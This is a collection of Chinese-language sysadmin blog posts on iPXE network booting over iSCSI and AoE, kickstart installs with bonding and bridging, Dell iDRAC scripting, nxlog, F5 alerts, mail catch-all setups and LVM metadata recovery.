memdisk是从syslinux中拷贝的，也是神器。

其实可以用sanboot来启动的，但是那样起动起来的系统对C盘无写权限，因为dos下没有san的驱动可用。

所以改用memdisk，这样权限变为可写的了。

ipxe与aoe启动

Thu, 18 Jan 2024 17:01:11 +0800

先普及一下，aoe（ata over ethernet），跟iscsi差不多，不过是硬盘协议走在了以太网上。iscsi是3层的协议，aoe是二层的协议。

因为是二层的，所以没有网关、路由等等，相对强制的，客户端和服务器端必须是位于同一子网内。

先装服务端vblade：

yum install vblade

然后准备存储空间，像lv、raw文件、硬盘(/dev/sdb)、硬盘分区(/dev/sdb1)或者raid磁盘/dev/md0都可以用作储存。

做一块20G的raw文件存储空间：

mkdir /storage  
dd if=/dev/zero of=/storage/storage1.img bs=1024k count=20000

做一块aoe硬盘：

vbladed 65535 255 eth0 /storage/storage1.img

解释一下 vbladed 后面跟了2个数字，第一个是主序列号，可以从 0-65535，第二个是次序列号，可以从0-255。然后跟发布的网卡，最后是存储空间。

最好把vbladed放入/etc/rc.d/rc.local

vi /etc/rc.local  
vbladed 65535 255 eth0 /storage/storage1.img

ok，服务器端的工作就完成了，大家看到了，基本什么也没设，因为是走在二层么。

然后ipxe部分就简单了，依样画葫芦修改boot2.php：

  case '\52:54:00:d9:fe:43':
    echo "set keep-san 1\n";
    echo "sanboot aoe:e65535.255\n";
    break;

搞定

ipxe远程启动iscsi上面的克隆卷

Thu, 18 Jan 2024 17:00:11 +0800

按上一篇所说，我们已经弄了个iscsi上面的win7卷，其实就是把萝卜花园的win7 clone到了一个10G的文件卷上。

引申问题：大家其实可以用qcow2的文件格式保存的：

qemu-img create -f qcow2 /export/iscsi/windows7.qcow2 60G  
vi /etc/tgt/targets.conf

<target iqn.2016-07.com.renhe:renhe-16-8-6.disk03>  
    backing-store /export/iscsi/disk03.img
    backing-store /export/iscsi/windows7.qcow2
    write-cache off
</target>

tgt-admin --execute

那么，我们如何让ipxe直接起动这个iscsi卷呢？还是编辑boot2.php即可：

  case '\52:54:00:d9:fe:43':
    echo "sanboot iscsi:172.16.8.6::3260:1:iqn.2016-07.iscsi:disk03\n";
    break;

注意啊，查遍很多网上资料： sanboot的参数都是iscsi:ip::::iqn，实际无论是实体机的pxe，还是kvm虚拟机的pxe，都无法启动。以下格式才是正确的： iscsi:ip::3260:1:iqn

这样装个win7就简单了，拷贝一下disk03.img这个模板，启动pxe即可

#!/bin/bash
virt-install \  
--name=pxe-16-11-8 \
--vcpu=2 \
--ram=4096 \
--nodisks \
--boot network \
--os-type=windows  \
--os-variant=win7 \
--network bridge=br0 \
--vnc --vnclisten=0.0.0.0 --vncport=5910

以后就可以用这个办法瞬间弄出一堆win虚机了，用完就删除

kvm使用iscsi作为存储池安装win

Thu, 18 Jan 2024 16:00:11 +0800

最近都在研究ipxe和iscsi，那么如何让kvm使用存储在iscsi上面的文件卷呢？

假设我们已经按之前的文章架好了iscsi：

造个10G文件:

dd if=/dev/zero of=/export/iscsi/disk03.img count=0 bs=1 seek=10G

服务端增加iscsi target

vi /etc/tgt/targets.conf

<target iqn.2016-07.com.renhe:renhe-16-8-6.disk03>  
    backing-store /export/iscsi/disk03.img
    write-cache off
</target>

tgt-admin --execute

isci准备好了，然后我们去kvm定义池子：myiscsi

virsh

virsh# pool-define-as myiscsi 172.16.8.6 - iqn.2016-07.com.renhe:renhe-16-8-6.disk03 - /dev/disk/by-path

virsh# pool-start myiscsi  
Name                 State      Autostart  
-----------------------------------------
myiscsi              active     no     

virsh# pool-autostart myiscsi

virsh # pool-list  
Name                 State      Autostart  
-----------------------------------------
myiscsi              active     yes

virsh# vol-list myiscsi  
Name                 Path  
-----------------------------------------
unit:0:0:1           /dev/disk/by-path/ip-172.16.8.6:3260-iscsi-iqn.2016-07.com.renhe:renhe-16-8-6.disk03-lun-1

ok，记下来这个Name：unit:0:0:1

然后我们来安装win的kvm吧，直接clone输出到硬盘

virt-install \  
--name=iscsi-16-11-9 \
--vcpu=2 \
--ram=4096 \
--cdrom=/export/kvm/iso/Luobo_Ghost_Win7_SP1_x86_2015_0904.iso \
--boot network,cdrom,hd,menu=on \
--disk vol=myiscsi/unit:0:0:1 \
--os-type=windows  \
--os-variant=win7 \
--network bridge=br0 \
--vnc --vnclisten=0.0.0.0 --vncport=5911

注意上面disk的参数，myiscsi/unit:0:0:1

IPXE万能工具hiren.iso的启动方式

Thu, 18 Jan 2024 14:00:11 +0800

我们希望有紧急情况出现的时候，ipxe可以用systemrecuecd救急，可能也希望机器上架前测测内存、分区、起个winpe等等。这时候就要用到hiren这个工具了，这个东西就是国外的老毛桃工具箱！

很简单，修改boot2.php

  case '\52:54:00:a7:ef:5d':
    echo "initrd http://172.16.8.1/ks/winpe/Hiren.iso\n";
    echo "chain  http://172.16.8.1/ks/winpe/memdisk iso raw\n";
    break;

memdisk从syslinux里面拷贝即可。

这样就有一个万用工具可用了,iso启动都可以采用这种方式哦。

IPXE远程运行sysrecuecd系统

Thu, 18 Jan 2024 13:50:11 +0800

既然用到ipxe，就试试远程运行systemrecuecd。万一系统出毛病，可以用来恢复或者急救。

下载cd

wget http://downloads.sourceforge.net/project/systemrescuecd/sysresccd-x86/4.7.3/systemrescuecd-x86-4.7.3.iso

装进 http://172.168.8.1/ks/sysrcd目录中

mount -o loop systemrescuecd-x86-4.7.3.iso /mnt/iso  
mkdir -p /var/www/html/ks/sysrcd  
cp -r /mnt/iso/* /var/www/html/ks/sysrcd

重头戏，依然按前面的方法修改boot2.php即可

  case '\ec:f4:bb:d9:96:40':
    $ip="172.16.36.2:172.16.37.254:255.255.254.0:myhost-16-36-2";
    $ipa=explode(':',$ip);
    echo "ifopen net0\n";
    echo "set net0/ip $ipa[0]\n";
    echo "set net0/netmask $ipa[2]\n";
    echo "set net0/gateway $ipa[1]\n";
    echo "set net0/dns $dns\n";
    echo "set base-url http://172.16.8.1/ks/sysrcd\n";
    echo "kernel \${base-url}/isolinux/rescue32 netboot=\${base-url}/sysrcd.dat nodhcp eth0=172.16.36.2/23 dns=172.16.8.1 gateway=172.16.37.254 rootpass=xxxxxxxx vncserver=1:password nameif=eth0:ec:f4:bb:d9:96:40\n";
    echo "initrd ${base-url}/isolinux/initram.igz\n";
    echo "boot\n";
    break;

注意上面，静态ip的设置部分，还有同时设置了sshd和vncserver，方便远程操作。

用IPXE启动个Ubuntu桌面

Thu, 18 Jan 2024 13:40:11 +0800

有了上篇IPXE的启动方法，我们来启动一个Ubuntu来玩：

简单的修改boot2.php即可：

  case '\ec:f4:bb:d9:96:40':
    $ip="172.16.36.2:172.16.37.254:255.255.254.0:myhost-16-36-2";
    $ipa=explode(':',$ip);
    echo "ifopen net0\n";
    echo "set net0/ip $ipa[0]\n";
    echo "set net0/netmask $ipa[2]\n";
    echo "set net0/gateway $ipa[1]\n";
    echo "set net0/dns $dns\n";
    echo "kernel http://172.16.8.1/ks/ubuntu/vmlinuz.efi root=/dev/nfs boot=casper netboot=nfs nfsroot=172.16.11.6:/root/ubuntu ip=172.16.36.2::172.16.37.254:255.255.254.0:renhe-16-36-2:eno1 ro\n";
    echo "initrd http://172.16.8.1/ks/ubuntu/initrd.lz\n";
    echo "boot\n";
    break;

注意：变的就是kernel和init那两行，netboot支持nfs和cifs，不支持http啊，试了半天！另外ip那一行，如果是动态的，ip=dhcp，如果是静态的，格式如下：

ip=客户端ip:服务器端ip:网关:掩码:主机名:网卡

服务器端ip不填，主机名也可以不填。

首先我们要去下个ISO

wget http://mirrors.163.com/ubuntu-releases/16.04/ubuntu-16.04-desktop-amd64.iso

然后把vmlinuz.efi和initrd.lz弄出来，放到[http://172.16.8.1/ks/ubuntu]目录下

mount -o loop ubuntu-16.04-desktop-amd64.iso /mnt/iso  
cp /mnt/iso/casper/vmlinuz.efi /var/www/html/ks/ubuntu  
cp /mnt/iso/casper/initrd.lz /var/www/html/ks/ubuntu

然后建立nfs，把iso里的东西都弄到nfs共享里去：

mkdir -p /export/ubuntu  
vi /etc/exports  
/export/ubuntu *(rw,sync,no_subtree_check,fsid=0,no_root_squash)

yum install -y nfs-utils rpcbind  
service nfs start

ok，启动pxe，就看到桌面了。

IPXE kickstart安装CentOS的方法

Thu, 18 Jan 2024 13:00:11 +0800

这些年IDC物理机装机的大法也在不断衍进，从最早的手动装一堆tftp/dhcp/syslinux/httpd，到cobbler的一统江湖，到现在的dnsmasq轻量级安装，nocps安装，一直在不断进化着。

因为cobbler实在太重，不得不专门起一个kvm虚机来运行，完全不喜欢啊。所以一直也在研究终极安装服务器的大法。

折腾服务器无数回，找出了个自己比较喜欢的方式。

首先介绍一下背景知识：

PXE 可以通过网络给计算机安装操作系统。 PXE协议大致上结合了DHCP和TFTP。
gPXE gPXE是PXE的一个开源实现（更早的实现是Etherboot）。通过gPXE能让网卡直接支持网络启动，而不依赖于网卡自带的PXE固件。同时相比PXE，gPXE支持更多的协议。传统的PXE只能通过TFTP进行传输，而gPXE支持HTTP，iSCSI和ATA over Ethernet（AoE），甚至支持wifi链接。
iPXE iPXE表示 it doesn’t PXE。iPXE是gPXE的原班人马写的（他们从Etherboot开始），作为官方的gPXE的替代品。 gPXE扩展的功能在iPXE中都得到支持。之所以不再使用gPXE是由于存在版权纠纷，iPXE从2010年4月开始，基于同一个代码库开始开发。
PXELINUX Syslinux是一个优秀的系统启动加载器(bootloader)，可引导自硬盘、光盘、和通过PXE的网络启动。 PXELINUX派生自Syslinux，用来使支持PXE的网卡从网络引导启动Linux。PXELINUX程序不是烧在网卡里，而是存储在TFTP服务器上。
Chainloading iPXE 可以把iPXE当作固件刷进计算机网卡的ROM里替换掉自带的PXE，但更为常见的是通过chainloading的方式进入iPXE。

有点晕是吧，总结一下，pxe包含了gpxe/ipxe/pxelinux，ipxe是最新的，gpxe/ipxe/pxelinux可以通过chain的方式顶替网卡原生的pxe。

推荐的装机方式：

客户机启动网卡自带的固件pxe，然后去服务器拉一个gpxe/ipxe，然后启动这个gpxe/ipxe，再去服务器拉具体的启动文件，这种就是chain方式了。我们就可以用到http/iscsi/wifi等各种先进方式启动了。

我们第一步先要准备一个gpxe的boot文件。

解释一下，文件后缀有.pxe/.kpxe/.kkpxe，这是个递进关系，.pxe是最原生的网卡驱动，.kpxe包含了调用原生网卡的UNDI驱动(无网卡驱动），.kkpxe更进一步，包含了UNDI+PXE原生网卡的驱动。

当然选择.kpxe了，我们的目的就是通过这个ipxe调用原生网卡上的驱动即可，如果是你自己要烧网卡的bootroom片子，就得选择所有驱动了。

这样我们会得到一个 gpxe-1.0.1-undionly.kpxe 的文件，保存备用。

然后我们来设置Dnsmasq:

log-dhcp

dhcp-no-override

enable-tftp  
tftp-root = /tftpboot

dhcp-range=tftp,172.16.36.100,172.16.36.105

dhcp-match=gpxe,175  
dhcp-boot=net:#gpxe,gpxe-1.0.1-undionly.kpxe,gxe/bootserver,172.16.36.1  
dhcp-boot=http://172.16.8.1/ks/boot.txt

注意：gpxe-1.0.1-undionly.kpxe是放在/tftpboot/gpxe/之下的

上面有很多玄机，dhcp-range是随便设一个地址池，因为最终实际是gpxe来决定地址，所以第一次dhcp得到的地址反而不重要了。dhcp-no-override一定要有，否则gpxe有bug，无法启动。

其次匹配gpxe，凡是175的都是gpxe，为什么要匹配呢？看下面，有两个dhcp-boot启动选项，#pxe，#表示不是，这行意思是:不是gpxe启动的话用/tftp/gpxe/gpxe-1.0.1-undionly.kpxe来启动，dhcp的server是172.16.36.1。第二行如果是gpxe启动的话，就chain到[http://172.16.8.1/ks/boot.txt]去启动

呵呵，如果不这么设置，就用一行的话：

dhcp-boot=gpxe-1.0.1-undionly.kpxe,gxe/bootserver,172.16.36.1

就会陷入死循环，首先pxe启动，抓了个gpxe，gpxe又启动抓了个gpxe，又抓gpxe，循环往复没玩没了。所以必须标记gpxe，并跳出这个循环。

我们在172.16.8.1上面建立/centos7的yum安装源，同时建立/ks目录。准备boot.txt，boot2.php，boot3.php，centos7.ks四个文件，下面一个一个解释：

首先是boot.txt

cat boot.txt  
#!gpxe

chain http://172.16.8.1/ks/boot2.php?uuid=\${uuid}&mac=\${mac}&busid=\${busid}&ip=\${ip}&hostname=\${hostname:uristring}&serial=\${serial:uristring}&asset=\${asset:uristring}&manufacturer=\${manufacturer:uristring}&product=\${product:uristring}

大家看上面，boot.txt是个gpxe脚本，实际是让gpxe向boot2.php传输了一些数据过来，有机器的uuid/mac/busid/hostname/serial/product等等。给个具体的例子，从access.log看到实际发过来的请求如下：

"GET /ks/boot2.php?uuid=%5C44454c4c-5600-1054-8042-b1c04f433532&mac=%5Cec%3Af4%3Abb%3Ad9%3A96%3A40&busid=%5C01%3A80%3A86%3A15%3A21&ip=%5C172.16.36.100&hostname=%5C&serial=%5C1VTBC52&asset=%5C&manufacturer=%5CDell%20Inc.&product=%5CPowerEdge%20R730 HTTP/1.0" 200 46 "-" "gPXE/1.0.1" "-"

看上面，有很多信息，网卡的物理地址，还有serial，对应dell就是svc tag号，还有机器类别PowerEdge R730，这是个好东西啊。

我们购买机器的时候肯定有序列号，上架到机房的时候，可以让idc抄下来机柜和序列号，然后我们让网管规划好ip，再这里就可以利用serial来确定机器应该按哪个模板安装。

kickstart安装脚本中如何同时配置bridge和bond

Thu, 18 Jan 2024 12:00:11 +0800

如何在kickstart脚本中既配置br，又配置bonding呢？

基本篇：

以Dell R730为例，物理网卡名称是em1/em2/em3/em4

network  --device=br0   --noipv6  --onboot=yes --bridgeslaves=bond0 --gateway=172.16.37.254 --ip=172.16.36.2 --nameserver=172.16.8.1 --netmask=255.255.254.0 --activate  
network  --device=bond0 --noipv6  --onboot=yes --bondslaves=em1,em2 --bondopts=mode=active-backup,balance-rr;primary=em1,miimon=80,updelay=60000 --activate  
network --device=em1 --noipv6 --nodns --onboot=yes --activate  
network --device=em2 --noipv6 --nodns --onboot=yes --activate  
network --device=em3 --noipv6 --nodns --onboot=yes --activate  
network --device=em4 --noipv6 --nodns --onboot=yes --activate  
network  --hostname=myhost-16-36-2

注意以上，是只做了 em1 和 em2 绑定成为 bond0 ，然后 br0 启动在 bond0 之上。

进阶篇：

基本篇的做法固然是做了四网卡绑定和桥接，副作用也是很可怕的。

大家去看/etc/sysconfig/network-scripts，里面有一堆的ifcfg-br0-slave_1，ifcfg-bond0-slave_1， ifcfg-bond0-slave_2，更可恶的是进程中跑着好几个dhcp-client，一想就明白了，这是NetworkManager搞得。em3和em4不断去启停端口，试图获得地址，导致交换机端口忽断忽通。

这个试图自动化网络的东西在服务器跑上实在是太无聊了。

所以上面的做法摒弃。在%post把网络搞好：

... 
%packages 
@compat-libraries 
@core 
wget 
net-tools 
chrony 
bridge-utils 
%end 
...

network  --bootproto=static --device=em1 --noipv6 --nodns  --onboot=yes --gateway=172.16.37.254 --ip=172.16.36.2  --nameserver=172.16.8.1 --netmask=255.255.254.0 
network  --bootproto=dhcp --device=em2 --noipv6 --nodns --onboot=no 
network  --bootproto=dhcp --device=em3 --noipv6 --nodns --onboot=no 
network  --bootproto=dhcp --device=em4 --noipv6 --nodns --onboot=no 
network  --hostname=myhost-16-36-2 
...

%post 
 yum -y erase NetworkManager 
 cat </etc/sysconfig/network-scripts/ifcfg-br0 
 DEVICE=br0 
 TYPE=Bridge 
 BOOTPROTO=static 
 ONBOOT=yes 
 IPADDR=172.16.36.2 
 NETMASK=255.255.254.0 
 GATEWAY=172.16.37.254 
 EOF 
 cat < /etc/modprobe.d/bonding.conf 
 alias bond0 bonding 
 BONDING_OPTS="miimon=100 mode=1 primary=em1" 
 EOF 
 cat < /etc/sysconfig/network-scripts/ifcfg-bond0 
 DEVICE=bond0 
 ONBOOT=yes 
 USERCTL=no 
 BRIDGE=br0 
 EOF 
 cat < /etc/sysconfig/network-scripts/ifcfg-em1 
 DEVICE=em1 
 USERCTL=no 
 ONBOOT=yes 
 MASTER=bond0 
 SLAVE=yes 
 BRIDGE="br0" 
 EOF 
 cat < /etc/sysconfig/network-scripts/ifcfg-em2 
 DEVICE=em2 
 USERCTL=no 
 ONBOOT=yes 
 MASTER=bond0 
 SLAVE=yes 
 BRIDGE="br0" 
 EOF 
 %end

注意上面，安装包必须安装bridge-utils，否则没有brctl，无法启动br0。

Dell idrac 重启机器进入单次pxe安装

Thu, 18 Jan 2024 10:00:11 +0800

用Dell idrac的脚本来使服务器进入单次pxe安装进程。

脚本如下：

sshpass -p "xxxxxxxx" ssh -oStrictHostKeyChecking=no root@172.16.17.1 racadm set iDRAC.ServerBoot.BootOnce 1  
sshpass -p "xxxxxxxx" ssh -oStrictHostKeyChecking=no root@172.16.17.1 racadm set iDRAC.ServerBoot.FirstBootDevice PXE  
sshpass -p "xxxxxxxx" ssh -oStrictHostKeyChecking=no root@172.16.17.1 racadm serveraction powercycle

nxlog推送数据到elasticsearch

Thu, 18 Jan 2024 09:25:11 +0800

其实rsyslog、syslog-ng、nxlog这三种东西真的是都差不多。随便选一个用都没问题。

比较喜欢nxlog的route和json以及箭头的功能，很简洁，所以用它来推数据到elasticsearch

方法一、用om_elasticsearch推：

...
<Input in>  
        Module im_tcp
        Host 0.0.0.0
        Port 1514
        InputType Binary
</Input>

<Output es>  
        Module om_elasticsearch
        URL http://localhost:9200/_bulk
        FlushInterval 2
        FlushLimit 100
        # Create an index daily
        Index strftime($EventTime, "nxlog-%Y%m%d")
        IndexType "My logs"

        # Use the following if you don't have $EventTime set
        #Index strftime(now(),"nxlog-%Y%m%d")
</Output>

<Route r>  
        Path in => es
</Route>  
...

方法二、用om_http推：

...
<Output elasticsearch>  
    Module      om_http
    URL         http://elasticsearch:9200
    ContentType application/json
    Exec        set_http_request_path(strftime($EventTime, "/nxlog-%Y%m%d/" + $SourceModuleName)); rename_field("timestamp","@timestamp"); to_json();
</Output>  
...

我们生产上是将各个机器上的日志通过rsyslog发到nxlog，再由nxlog导入elasticsearch，然后用kinaba看。

F5-bigip的Load balance告警邮件设置

Thu, 18 Jan 2024 09:20:11 +0800

F5-Bigip负载均衡设备，在我们的生产环境，用于分发前端的请求，如果后端的成员离线了，需要及时得到通知。

规则是：load balance池子里的成员如果离线，就发送告警邮件，如果又恢复了，也发告警邮件。

首先我们需要在内网中设置一个邮件发送服务器，我们用的是qq的企业邮箱，如何设置在之前说过，这里设置的是内网用这台服务器发邮件不需要验证，但是发送者必须是monit@company.com。

先来确认f5的版本，不同的版本不一定通用撒。这里版本是11.5.3才可以。

登录F5(ip是172.16.0.1)，查看版本，是不是11.5.3

$ ssh user@172.16.0.1
# tmsh show /sys version
...
  Product  BIG-IP
  Version  11.5.3
...
# quit

编辑/etc/ssmtp/ssmtp.conf，设置邮件服务器

# vi /etc/ssmtp/ssmtp.conf
mailhub=192.168.0.1

# 如果没有安装内网的邮件服务器，可以在这里设置。安装了就不用设
FromLineOverride=YES  
UseTLS=yes  
AuthUser=smtp_account  
AuthPass=password

设置告警内容：

alert BIGIP_MCPD_MCPDERR_POOL_MEMBER_MON_DOWN "Pool (.*?) member (.*?):(.*?) monitor status down." {  
        email toaddress="user01@company.com,user02@company.com"
        fromaddress="monit@company.com"
        body="A pool member went down"
}

alert BIGIP_MCPD_MCPDERR_POOL_MEMBER_MON_UP "Pool (.*?) member (.*?):(.*?) monitor status up." {  
        email toaddress="user01@company.com,user02@company.com"
        fromaddress="monit@company.com"
        body="A pool member went up"
}

ok，搞定。不用重启什么的啊，即时生效。

在Ubuntu上装个plsql通过远程桌面访问oracle

Thu, 18 Jan 2024 09:00:11 +0800

这真是个无比古怪的审计需求，需要让一些同事能访问oracle，但是不允许他们通过剪切板拷贝数据。

这只能是kvm+Ubuntu+xrdp+wine+plsql来实现了（CentOS应该也没问题）

首先准备ubuntu的iso，选精简的server版，桌面手动装：

wget http://mirrors.163.com/ubuntu-releases/12.04/ubuntu-12.04.5-server-i386.iso

生成kvm虚机磁盘：

qemu-img create -f qcow2 /home/kvm/ubuntu.qcow2 20G

安装kvm虚机：

virt-install \  
    --name=ubuntu \
    --vcpu=1 \
    --ram=2048 \
    --disk path=/home/kvm/ubuntu.qcow2,format=qcow2,size=20 \
    --cdrom=/home/kvm/ubuntu-12.04.5-server-i386.iso \
    --os-type=linux  \
    --network bridge=br0 \
    --vnc --vnclisten=0.0.0.0 --vncport=5901

这时候就要连到实机的vnc 5901端口，开始安装。反正是只要用plsql的，所以缺省都可。记住要装上sshd server，便于远程管理。

装ubuntu时会提示生成一个非root用户，就叫plsql好了。

安装不表，安装好了以后因为装了sshd，所以就可以ssh远程操作了。

安装wine：

sudo apt-get install software-properties-common  
sudo add-apt-repository ppa:ubuntu-wine/ppa  
sudo apt-get update  
sudo apt-get install wine

安装xrdp和gnome-shell以及输入法：

sudo apt-get install xrdp  
sudo apt-get install gnome-shell  
sudo apt-get install ibus  
sudo apt-get install fcitx-table-wbpy

设置xrdp由gnome-session控制：

设置git ssh代理

Wed, 17 Jan 2024 17:30:11 +0800

万万没想到啊，github被封轮到自己头上了。

这个博客是在windows下用Typora写的，然后hugo生成，直接用git for windows提交，今天git无法提交了。

必须设置一下git ssh的代理了，我用的是socks5。

在C:\Users\username\.ssh\config文件中添加相关配置，如果没有config文件需要手动创建，connect命令是git Windows客户端git for windows自带的, 位于<Git-install-path>\mingw64\bin\connect.exe

socks代理添加以下配置

Host github.com(改成你的站点)
ProxyCommand connect -S 127.0.0.1:1080 %h %p

可以配置多个网站Host

Host github.com(改成你的站点)
ProxyCommand connect -S 127.0.0.1:1080 %h %p

Host bitbucket.org(改成你的站点)
ProxyCommand connect -S 127.0.0.1:1080 %h %p

如果Host设置为*，代理会对所有未配置的Host起作用。以下有三项配置，访问github使用第二项配置，访问bitbucket使用第三项配置，其它网站使用第一项配置

Host *
    ProxyCommand "C:/Program Files/Git/mingw64/bin/connect.exe" -H 127.0.0.1:1080 %h %p
    IdentityFile "C:/Users/bybon/.ssh/id_rsa"
    TCPKeepAlive yes
    IdentitiesOnly yes

Host github.com
    ProxyCommand connect -S 127.0.0.1:1080 %h %p

Host bitbucket.com
    ProxyCommand connect -S 127.0.0.1:1080 %h %p

Postfix和Sendmail设置所有邮件都收到一个邮件用户下

Wed, 17 Jan 2024 10:30:11 +0800

Postfix设置所有邮件都收到一个邮件用户下

申请了一个yi.zapto.org的免费域名，想把*@yi.zapto.org的邮件地址都送到zrr@yi.zapto.org这个地址去。

用Postfix来做：

编辑main.cf，设置邮件的域名，对了，最好在/etc/hosts中增加yi.zapto.org域名的解析。

# vi /etc/postfix/main.cf
...

inet_interfaces = all  
mydestination = $myhostname, localhost.$mydomain, localhost, $mydomain, yi.zapto.org  
virtual_alias_maps = hash:/etc/postfix/virtual  
...

编辑virtual，设置全域邮件转发到zrr

# vi /etc/postfix/virtual
@yi.zapto.org zrr
# postmap /etc/virtual

如果有多个域名，那么在mydestination最后依次添加，并且修改virtual并重新hash即可。

ok，重启postfix

service postfix restart

Sendmail设置所有邮件都收到一个邮件用户下

用Sendmail来做：

编辑local-host-names，设置邮件的域名，对了，最好在/etc/hosts中增加yi.zapto.org的解析，否则sendmail启动时会反解，速度很慢。

# vi /etc/mail/local-host-names
yi.zapto.org

编辑virtusertable，设置全域邮件转发到zrr

# vi /etc/virtusertable
@yi.zapto.org zrr
# rm /etc/virtusertable.db
# cd /etc/mail
# make

编辑sendmail.cf，增加信任用户nobody

# vi /etc/mail/sendmail.cf
...
#####################
#   Trusted users   #
#####################

# this is equivalent to setting class "t"
Ft/etc/mail/trusted-users  
Troot  
Tdaemon  
Tuucp  
Tnobody  
...

这样所有发过来的邮件都会自动转发到zrr这个账号下。

更新jar包或者jar包中的文件

Wed, 17 Jan 2024 10:30:11 +0800

jar包可以当作一个zip包来看待。

jar文件：/home/resin.jar 需要更新包中com/caucho/server/port/Port.class类文件

方法1，直接更新：

查看jar包的文件目录结构
jar tf resin.jar

更新指定内容
jar uf resin.jar com/caucho/server/port/Port.class  
jar uf testRedis-33.jar redis.properties

方法2，解压替换后再打包：

解压包：
mkdir new  
cd new  
jar xvf ../testRedis-33.jar

进行修改
vi redis.properties

重新压包
jar cmvf META-INF/MANIFEST.MF t.jar *

怀念永远的freshmeat.net

Tue, 16 Jan 2024 10:30:11 +0800

怀念永远的freashmeat

这个网站是从一开站就关注的，基本上天天都看，有10几年了。

持续到2014年6月18日，永久的封站了。

时不时的，仍会打开这个网页，逡巡良久！！！，时光荏苒，2024年了，关站都要10年了。纪念一下！

LVM卷必须备份metadata

Tue, 16 Jan 2024 09:30:11 +0800

这是个反面教材。在京东数科的时候用的是kvm的虚机系统，同事追求更快，文件镜像用的是raw分区，里面装了lvm。

grub的启动文件如下：

        kernel /vmlinuz-2.6.32-431.el6.x86_64 ro root=/dev/mapper/vg_root-lvroot rd_NO_LUKS rd_LVM_LV=vg_root/lvroot LANG=en_US.UTF-8 rd_NO_MD SYSFONT=latarcyrheb-sun16 console=ttyS0,115200n8 rd_LVM_LV=vg_root/lvswap  KEYBOARDTYPE=pc KEYTABLE=us crashkernel=auto rhgb quiet rd_NO_DM

看上面，root也被建立在lvroot的lvm卷上了。

然后就遇到了断电，导致kvm挂掉了，悲催的是lvm卷被破坏了，用尽办法也弄不出来卷信息。因为lvm的metadata没有备份。

数据全丢，无法恢复，杯具了。

综上LVM的metadata必须备份，方法如下：

vgcfgbackup

/etc/lvm/backup/VolGroup是当前lvm配置的一个备份，而/etc/lvm/archive是归档。

看看归档：

ls -l /etc/lvm/archive/*  
-rw-------. 1 root root 1820 Jun 12  2015 /etc/lvm/archive/VolGroup_00000-444365108.vg

恢复方法：

vgcfgrestore

具体恢复的步骤：首先查看blkid，看看硬盘分区的UUID

blkid  
/dev/mapper/VolGroup-LogVol01: UUID="d6d24cc3-5e4a-4f4d-a0b1-2524e727b0fe" TYPE="ext4" 
/dev/sda1: UUID="3d0103ac-1b18-4da5-bc20-4b7a980a55c0" TYPE="ext4" 
/dev/sda2: UUID="i5Cd6V-IVHN-e694-o9CQ-OZJe-zvt0-AhUBLq" TYPE="LVM2_member" 
/dev/mapper/VolGroup-LogVol00: UUID="06fe7af0-dee5-494a-9b5b-11bf95244acd" TYPE="swap"

查看lvm信息，找出里面所有物理卷的UUID：

less /etc/lvm/archive/VolGroup_00000-444365108.vg  
...
        physical_volumes {

                pv0 {
                        id = "i5Cd6V-IVHN-e694-o9CQ-OZJe-zvt0-AhUBLq"
                        device = "/dev/sda2"    # Hint only
...

首先恢复所有的pv，物理卷，这里我们就一个物理卷，所以执行一次，如果有多个物理卷，一个一个来即可

pvcreate --uuid "i5Cd6V-IVHN-e694-o9CQ-OZJe-zvt0-AhUBLq" \  
  --restorefile /etc/lvm/archive/VolGroup_00000-444365108.vg

物理卷恢复完了，再恢复lv，逻辑卷：

vgcfgrestore -f /etc/lvm/archive/VolGroup_00000-444365108.vg VolGroup

弄完后vgdisplay查看一下：

vgdisplay  
  --- Volume group ---
  VG Name               VolGroup
  System ID             
  Format                lvm2
  Metadata Areas        1
  Metadata Sequence No  9
  VG Access             read/write
  VG Status             resizable
  MAX LV                0
  Cur LV                2
  Open LV               2
  Max PV                0
  Cur PV                1
  Act PV                1
  VG Size               1.64 TiB
  PE Size               4.00 MiB
  Total PE              428705
  Alloc PE / Size       428705 / 1.64 TiB
  Free  PE / Size       0 / 0   
  VG UUID               3h3yik-kmqP-Q8sC-5bn0-cwtw-SXpo-orMlKn

就恢复成功了。

kvm提高网卡效率使用SR-IOV

Mon, 15 Jan 2024 11:30:11 +0800

什么是SR-IOV呢?

简单的说，SR-IOV是一种虚拟化方案，用来使一个PCIe的物理设备，能虚拟出多个设备，这些虚拟出来的设备看起来就像是多个真实的物理设备一样，并获得能够与本机性能媲美的 I/O 性能。

SR-IOV现在最多是用在网卡上，kvm虚拟机的网卡功能一般会下降到实体机的30-50%，如果改用SR-IOV会大大提高网卡性能。

SR-IOV 有2种功能：

物理功能 (Physical Function, PF)
- 就是标准的PCIe的功能了
虚拟功能 (Virtual Function, VF)
- 与物理功能关联的一种功能。VF 是一种轻量级 PCIe 功能，可以与物理功能以及与同一物理功能关联的其他 VF 共享一个或多个物理资源。VF 仅允许拥有用于其自身行为的配置资源。

好的，如何在生产环境中使用它呢？

场景如下：

如上：机房里有两台交换机:

switch-1用来连接各机器的eth0口
switch-2用来连接各机器的eth1口
switch-1和switch-2互联
这是一种机房的标准连法，eth0和eth1做bonding，做线路冗余

server-2是一台Dell R730的服务器，eth0连switch-1，eth1连switch-2，上面跑了三个虚机：

VM-1跑在基于bonding的Bridge上，标准的做法
VM-2和VM-2则是利用了SR-IOV，从虚拟网卡直连到物理网卡，减少了中间环节，提高了网卡的效率。

首先要把服务器的vt和sr-iov打开：

System BIOS > Processor Settings > Virtualization Technology

System BIOS > Integrated Devices > SR-IOV Global Enable

当然，这么麻烦的事情，我们直接用脚本通过idrac调用racadm来做好了：

#!/bin/sh
sshpass -p "xxxxx" ssh -oStrictHostKeyChecking=no root@10.8.$1 racadm set BIOS.ProcSettings.ProcVirtualization Enabled  
sshpass -p "calvin" ssh -oStrictHostKeyChecking=no root@10.8.$1 racadm set BIOS.IntegratedDevices.SriovGlobalEnable Enabled  
sshpass -p "xxxxxx" ssh -oStrictHostKeyChecking=no root@10.8.$1 racadm serveraction powercycle

注意，Dell R730的机器用得是Intel I350的以太网卡，每个网口最多支持8个VF，如果是高级的X520网卡，就支持64个VF。

idrac远程登录服务器

Mon, 15 Jan 2024 10:30:11 +0800

Linux的环境了，windows的不行。

Dell的idrac其实提供了远程的ssh界面，我们通常用idrac来设置bios什么的，当然如果能通过idrac直接登录服务器那就更好了。

首先普及以下几个概念：

tty: Video console terminal (abbreviation for “Teletype”)
ttyS: Serial console terminal
pts: Virtual console terminal (pseudo-tty or pty but stands for Pseudo-Terminal Slave (PTS))

